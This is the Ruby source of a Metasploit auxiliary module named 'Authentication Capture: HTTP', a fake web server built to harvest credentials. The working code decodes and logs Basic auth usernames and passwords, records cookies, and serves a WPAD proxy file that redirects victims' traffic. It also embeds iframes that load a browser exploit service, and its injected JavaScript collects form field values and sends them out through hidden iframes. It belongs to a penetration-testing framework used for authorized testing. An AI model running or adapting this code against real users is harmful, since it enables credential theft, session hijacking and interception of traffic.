##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report


	def initialize
		super(
			'Name'        => 'Authentication Capture: HTTP',
			'Version'     => '$Revision$',
			'Description'    => %q{
				This module provides a fake HTTP service that
			is designed to capture authentication credentials.
			},
			'Author'      => ['ddz', 'hdm'],
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Capture' ]
				],
			'PassiveActions' =>
				[
					'Capture'
				],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 80 ]),
				OptPath.new('TEMPLATE',   [ false, "The HTML template to serve in responses",
						File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "index.html")
					]
				),
				OptPath.new('SITELIST',   [ false, "The list of URLs that should be used for cookie capture",
						File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "sites.txt")
					]
				),
				OptPath.new('FORMSDIR',   [ false, "The directory containing form snippets (example.com.txt)",
						File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "forms")
					]
				),
				OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]),
				OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]),
				OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]),
			], self.class)
	end

	# Not compatible today
	def support_ipv6?
		false
	end
	
	def run
		@formsdir = datastore['FORMSDIR']
		@template = datastore['TEMPLATE']
		@sitelist = datastore['SITELIST']
		@myhost   = datastore['SRVHOST']
		@myport   = datastore['SRVPORT']

		@myautopwn_host =  datastore['AUTOPWN_HOST']
		@myautopwn_port =  datastore['AUTOPWN_PORT']
		@myautopwn_uri  =  datastore['AUTOPWN_URI']
		@myautopwn      = false

		if(@myautopwn_host and @myautopwn_port and @myautopwn_uri)
			@myautopwn = true
		end

		exploit()
	end

	def on_client_connect(c)
		c.extend(Rex::Proto::Http::ServerClient)
		c.init_cli(self)
	end

	def on_client_data(cli)
		begin
			data = cli.get_once(-1, 5)
			raise ::Errno::ECONNABORTED if !data or data.length == 0
			case cli.request.parse(data)
				when Rex::Proto::Http::Packet::ParseCode::Completed
					dispatch_request(cli, cli.request)
					cli.reset_cli
				when  Rex::Proto::Http::Packet::ParseCode::Error
					close_client(cli)
			end
		rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
		rescue ::OpenSSL::SSL::SSLError
		rescue ::Exception
			print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
		end

		close_client(cli)
	end

	def close_client(cli)
		cli.close
		# Require to clean up the service properly
		raise ::EOFError
	end

	def dispatch_request(cli, req)

		phost = cli.peerhost

		os_name = nil
		os_type = nil
		os_vers = nil
		os_arch = 'x86'

		ua_name = nil
		ua_vers = nil

		ua = req['User-Agent']

		case (ua)
			when /rv:([\d\.]+)/
				ua_name = 'FF'
				ua_vers = $1
			when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/
				ua_name = 'IE'
				ua_vers = $1
			when /Version\/(\d+\.\d+\.\d+).*Safari/
				ua_name = 'Safari'
				ua_vers = $1
		end

		case (ua)
			when /Windows/
				os_name = 'Windows'
			when /Linux/
				os_name = 'Linux'
			when /iPhone/
				os_name = 'iPhone'
				os_arch = 'armle'
			when /Mac OS X/
				os_name = 'Mac'
		end

		case (ua)
			when /PPC/
				os_arch = 'ppc'
		end

		os_name ||= 'Unknown'

		mysrc = Rex::Socket.source_address(cli.peerhost)
		hhead = (req['Host'] || @myhost)

		if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/
			hhead = $1
			req.resource = $2
		end

		if hhead =~ /^(.*):(\d+)\s*$/
			hhead = $1
			nport = $2.to_i
		end
		
		@myport = nport || 80


		cookies = req['Cookie'] || ''


		if(cookies.length > 0)
			report_note(
				:host => cli.peerhost,
				:type => "http_cookies",
				:data => hhead + " " + cookies,
				:update => :unique_data
			)
		end


		if(req['Authorization'] and req['Authorization'] =~ /basic/i)
			basic,auth = req['Authorization'].split(/\s+/)
			user,pass  = Rex::Text.decode_base64(auth).split(':', 2)
			report_auth_info(
				:host      => cli.peerhost,
				:port      => @myport,
				:sname     => 'http',
				:user      => user,
				:pass      => pass,
				:source_type => "captured",
				:active    => true
			)

			report_note(
				:host     => cli.peerhost,
				:type     => "http_auth_extra",
				:data     => req.resource.to_s,
				:update => :unique_data
			)
			print_status("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
		end


		if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i)
			prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }"
			res =
				"HTTP/1.1 200 OK\r\n" +
				"Host: #{hhead}\r\n" +
				"Content-Type: application/x-ns-proxy-autoconfig\r\n" +
				"Content-Length: #{prx.length}\r\n" +
				"Connection: Close\r\n\r\n#{prx}"
			print_status("HTTP wpad.dat sent to #{cli.peerhost}")
			cli.put(res)
			return
		end


		if(req.resource =~ /\/+formrec\/(.*)/i)
			data = Rex::Text.uri_decode($1).split("\x00").join(", ")

			report_note(
				:host => cli.peerhost,
				:type => "http_formdata",
				:data => hhead + " " + data,
				:update => :unique_data
			)

			res =
				"HTTP/1.1 200 OK\r\n" +
				"Host: #{hhead}\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: 4\r\n" +
				"Connection: Close\r\n\r\nBYE!"

			print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})")
			cli.put(res)
			return
		end

		report_note(
			:host => cli.peerhost,
			:type => "http_request",
			:data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}",
			:update => :unique_data
		)

		print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}")

		if(req.resource =~ /\/+forms.html$/)
			frm = inject_forms(hhead)
			res =
				"HTTP/1.1 200 OK\r\n" +
				"Host: #{hhead}\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: #{frm.length}\r\n" +
				"Connection: Close\r\n\r\n#{frm}"
			cli.put(res)
			return
		end


		# http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
		if(req.resource == "/update/PatchSequenceFile.txt")
			print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft")
		end


		# Microsoft 'Network Connectivity Status Indicator' Vista
		if (req['Host'] == 'www.msftncsi.com')
			print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)")
			data = "Microsoft NCSI"
			res  =
				"HTTP/1.1 200 OK\r\n" +
				"Host: www.msftncsi.com\r\n" +
				"Expires: 0\r\n" +
				"Cache-Control: must-revalidate\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: #{data.length}\r\n" +
				"Connection: Close\r\n\r\n#{data}"
			cli.put(res)
			return
		end

=begin
		# Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
		if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
			data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
			res  =
				"HTTP/1.1 200 OK\r\n" +
				"Host: www.apple.com\r\n" +
				"Expires: 0\r\n" +
				"Cache-Control: must-revalidate\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: #{data.length}\r\n" +
				"Connection: Close\r\n\r\n#{data}"
			cli.put(res)
			return
		end
=end

		# Microsoft ActiveX Download
		if (req['Host'] == 'activex.microsoft.com')
			print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control")
			data = ""
			res  =
				"HTTP/1.1 404 Not Found\r\n" +
				"Host: #{mysrc}\r\n" +
				"Content-Type: application/octet-stream\r\n" +
				"Content-Length: #{data.length}\r\n" +
				"Connection: Close\r\n\r\n#{data}"
			cli.put(res)
			return
		end


		# Sonic.com's Update Service
		if (req['Host'] == 'updateservice.sonic.com')
			print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates")
		end

		# The google maps / stocks view on the iPhone
		if (req['Host'] == 'iphone-wu.apple.com')
			case req.resource
			when '/glm/mmap'
				print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone")
			when '/dgw'
				print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone")
			else
				print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone")
			end
		end

		# The itunes store on the iPhone
		if(req['Host'] == 'phobos.apple.com')
			print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone")
			# GET /bag.xml
		end


		# Handle image requests
		ctypes  =
		{
			"jpg"   => "image/jpeg",
			"jpeg"  => "image/jpeg",
			"png"   => "image/png",
			"gif"   => "image/gif",
		}

		req_ext = req.resource.split(".")[-1].downcase

		if(ctypes[req_ext])
			ctype = ctypes['gif']

			data =
				"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" +
				"\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" +
				"\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"

			res =
				"HTTP/1.1 200 OK\r\n" +
				"Host: #{mysrc}\r\n" +
				"Content-Type: #{ctype}\r\n" +
				"Content-Length: #{data.length}\r\n" +
				"Connection: Close\r\n\r\n#{data}"
			cli.put(res)
			return
		end


		buff = ''


		if(@myautopwn)
			buff << "<iframe src='http://#{@myautopwn_host}:#{@myautopwn_port}#{@myautopwn_uri}'></iframe>"
		end

		list = File.readlines(@sitelist)
		list.each do |site|
			next if site =~ /^#/
			site.strip!
			next if site.length == 0
			buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>"
		end

		data = File.read(@template)
		data.gsub!(/%CONTENT%/, buff)

		res  =
			"HTTP/1.1 200 OK\r\n" +
			"Host: #{mysrc}\r\n" +
			"Expires: 0\r\n" +
			"Cache-Control: must-revalidate\r\n" +
			"Content-Type: text/html\r\n" +
			"Content-Length: #{data.length}\r\n" +
			"Connection: Close\r\n\r\n#{data}"

		cli.put(res)
		return

	end


	def inject_forms(site)

		domain = site.gsub(/(\.\.|\\|\/)/, "")
		domain = "www." + domain if domain !~ /^www/i

		while(domain.length > 0)

			form_file = File.join(@formsdir, domain) + ".txt"
			form_data = ""
			if (File.readable?(form_file))
				form_data = File.read(form_file)
				break
			end

			parts = domain.split(".")
			parts.shift
			domain = parts.join(".")
		end

		%|
<html>
<head>
	<script language="javascript">
		function processForms() {
			var i = 0;
			while(form = document.forms[i]) {

				res = "";
				var x = 0;
				var f = 0;

				while(e = form.elements[x]) {
					if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
						res += e.name + "=" + e.value + "\x00";
						f=1;
					}
					x++;
				}

				if(f) {
					url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
					fra = document.createElement("iframe");
					fra.setAttribute("src", url);
					fra.style.visibility = 'hidden';
					document.body.appendChild(fra);
				}

				i++;
			}
		}
	</script>
</head>
<body onload="processForms()">

#{form_data}

</body>
</html>
|

	end

end